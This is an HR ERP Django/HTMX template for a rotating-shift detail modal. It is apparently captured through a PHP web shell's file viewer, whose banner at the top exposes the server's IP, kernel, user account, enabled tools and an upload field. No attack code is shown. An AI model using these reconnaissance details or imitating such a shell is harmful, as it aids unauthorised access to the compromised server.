| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/erp/base/templates/base/rotating_shift/ |
Upload File : |
{% load i18n %} {% load static %}
{% load basefilters %}
{% if messages %}
<div class="oh-wrapper">
{% for message in messages %}
<div class="oh-alert-container">
<div class="oh-alert oh-alert--animated {{message.tags}}">
{{ message }}
</div>
</div>
{% endfor %}
</div>
<span hx-trigger="load" hx-get="{{close_hx_url}}?{{pd}}" hx-target="{{close_hx_target}}"></span>
{% endif %}
<div class="oh-modal__dialog-header">
{% if instance %}
<h2 class="oh-modal__dialog-title" id="">{% trans "Details" %}</h2>
{% endif %}
<button class="oh-modal__close" aria-label="Close">
<ion-icon name="close-outline"></ion-icon>
</button>
</div>
{% if instance %}
<div class="oh-modal__dialog-body oh-modal__dialog-relative">
{% if request.GET.instances_ids %}
<div class="oh-modal__dialog oh-modal__dialog--navigation m-0 p-0">
<button hx-get="{% url 'rshift-individual-view' previous %}?{{pd}}&instances_ids={{assign_ids}}"
hx-target="#objectDetailsModalTarget" class="oh-modal__diaglog-nav oh-modal__nav-prev"
data-action="previous">
<ion-icon name="chevron-back-outline" class="md hydrated" role="img"
aria-label="chevron back outline"></ion-icon>
</button>
<button hx-get="{% url 'rshift-individual-view' next %}?{{pd}}&instances_ids={{assign_ids}}"
hx-target="#objectDetailsModalTarget" class="oh-modal__diaglog-nav oh-modal__nav-next" data-action="next">
<ion-icon name="chevron-forward-outline" class="md hydrated" role="img"
aria-label="chevron forward outline"></ion-icon>
</button>
</div>
{% endif %}
<a class="oh-timeoff-modal__profile-content" style="text-decoration: none"
href="{% url 'employee-view-individual' instance.employee_id.id %}">
<div class="oh-profile mb-2">
<div class="oh-profile__avatar">
<img src="{{instance.employee_id.get_avatar}}" class="oh-profile__image me-2" alt="Mary Magdalene" />
</div>
<div class="oh-timeoff-modal__profile-info">
<span class="oh-timeoff-modal__user fw-bold">{{instance.employee_id}}</span>
<span class="oh-timeoff-modal__user m-0" style="font-size: 18px; color: #4d4a4a">
{{instance.employee_id.employee_work_info.department_id}} /
{{instance.employee_id.employee_work_info.job_position_id}}</span>
</div>
</div>
</a>
<div class="oh-modal__dialog-header" style="padding-top: 5px">
<div class="oh-timeoff-modal__stats-container">
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Title" %}</span>
<span class="oh-timeoff-modal__stat-count">{{instance.rotating_shift_id}}</span>
</div>
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Based On" %}</span>
<span class="oh-timeoff-modal__stat-count">
{{instance.get_based_on_display}}
</span>
</div>
</div>
<div class="oh-timeoff-modal__stats-container mt-3 mb-3">
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Rotate" %}</span>
<span class="oh-timeoff-modal__stat-count">
{% if instance.based_on == 'after' %}
{% trans "Rotate after" %} {{instance.rotate_after_day}} {% trans "days" %}
{% elif instance.based_on == "weekly" %}
{% trans "Weekly every" %} {{instance.rotate_every_weekend}}
{% elif instance.based_on == "monthly" %}
{% if instance.rotate_every == "1" %}
{% trans "Rotate every" %} {{instance.rotate_every}}{% trans "st day of month" %}
{% elif instance.rotate_every == "2" %} {% trans "Rotate every" %}
{{instance.rotate_every}}{% trans "nd day of month" %}
{% elif instance.rotate_every == "3" %} {% trans "Rotate every" %}
{{instance.rotate_every}}{% trans "rd day of month" %}
{% elif instance.rotate_every == "last" %}
{% trans "Rotate every last day of month" %}
{% else %}
{% trans "Rotate every" %} {{instance.rotate_every}}{% trans "th day of month" %}
{% endif %}
{% endif %}
</span>
</div>
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Start Date" %}</span>
<span class="oh-timeoff-modal__stat-count dateformat_changer">{{instance.start_date}}</span>
</div>
</div>
<div class="oh-timeoff-modal__stats-container mt-3 mb-3">
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Current Shift" %}</span>
<span class="oh-timeoff-modal__stat-count">{{instance.current_shift}}</span>
</div>
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Next Shift" %}</span>
<span class="oh-timeoff-modal__stat-count">
{{instance.next_shift}}
</span>
</div>
</div>
<div class="oh-timeoff-modal__stats-container mt-3 mb-3">
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Next Change Date" %}</span>
<span class="oh-timeoff-modal__stat-count dateformat_changer">
{{instance.next_change_date}}
</span>
</div>
<div class="oh-timeoff-modal__stat">
<span class="oh-timeoff-modal__stat-title">{% trans "Status" %}</span>
<span class="oh-timeoff-modal__stat-count">
{% if instance.is_active %}
{% trans "Is Active" %}
{% else %}
{% trans "Archived" %}
{% endif %}
</span>
</div>
</div>
{% if perms.base.change_rotatingshiftassign or request.user|is_reportingmanager or perms.base.delete_rotatingshiftassign %}
<div class="oh-modal__button-container text-center mt-3">
<div class="oh-btn-group">
{% if perms.base.change_rotatingshiftassign or request.user|is_reportingmanager %}
<a class="oh-btn oh-btn--info" data-toggle="oh-modal-toggle" data-target="#objectUpdateModal"
hx-get="{% url 'rotating-shift-assign-update' instance.id %}" hx-target="#objectUpdateModalTarget"
style="width: 50%;">
<ion-icon name="create-outline"> </ion-icon>{% trans "Edit" %}
</a>
<form class="oh-btn oh-btn--primary" style="width: 50%;" hx-confirm="{% if instance.is_active %}
{% trans 'Do you want to archive this rotating shift assign?' %}
{% else %}
{% trans 'Do you want to un-archive this rotating shift assign?' %}
{% endif %}
"
hx-get="{% url 'rotating-shift-assign-archive' instance.id %}?{{pd}}&instances_ids={{assign_ids}}" hx-target="#objectDetailsModalTarget">
<button style="
background: none;
color: inherit;
border: none;
padding: 0;
font: inherit;
cursor: pointer;
outline: inherit;
">
<ion-icon name="archive-outline"> </ion-icon>
{% if instance.is_active %}
{% trans "Archive" %}
{% else %}
{% trans "Un-archive" %}
{% endif %}
</button>
</form>
{% endif %}
{% if perms.base.delete_rotatingshiftassign or request.user|is_reportingmanager %}
<form class="oh-btn oh-btn--secondary" style="width: 50%;"
hx-confirm="{% trans 'Are you sure you want to delete this rotating shift assign?' %}"
hx-post="{% url 'rotating-shift-assign-delete' instance.id %}?{{pd}}&instances_ids={{assign_ids}}"
hx-target="#objectDetailsModalTarget">
{% csrf_token %}
<button style="background: none; color: inherit; border: none; padding: 0; font: inherit; cursor: pointer; outline: inherit;">
<ion-icon name="trash-outline"></ion-icon>{% trans "Delete" %}
</button>
</form>
{% endif %}
</div>
</div>
{% endif %}
</div>
</div>
{% else %}
<div class="oh-modal__dialog-body oh-modal__dialog-relative">
<img style="margin-left: 33%; width: 150px; height: 150px" src="{% static 'images/ui/employee_shift.png' %}"
class="oh-404__image mb-2" alt="Page not found. 404." />
<h5 class="oh-404__subtitle">
{% trans "There are no rotating shift assigned to this employee." %}
</h5>
</div>
{% endif %}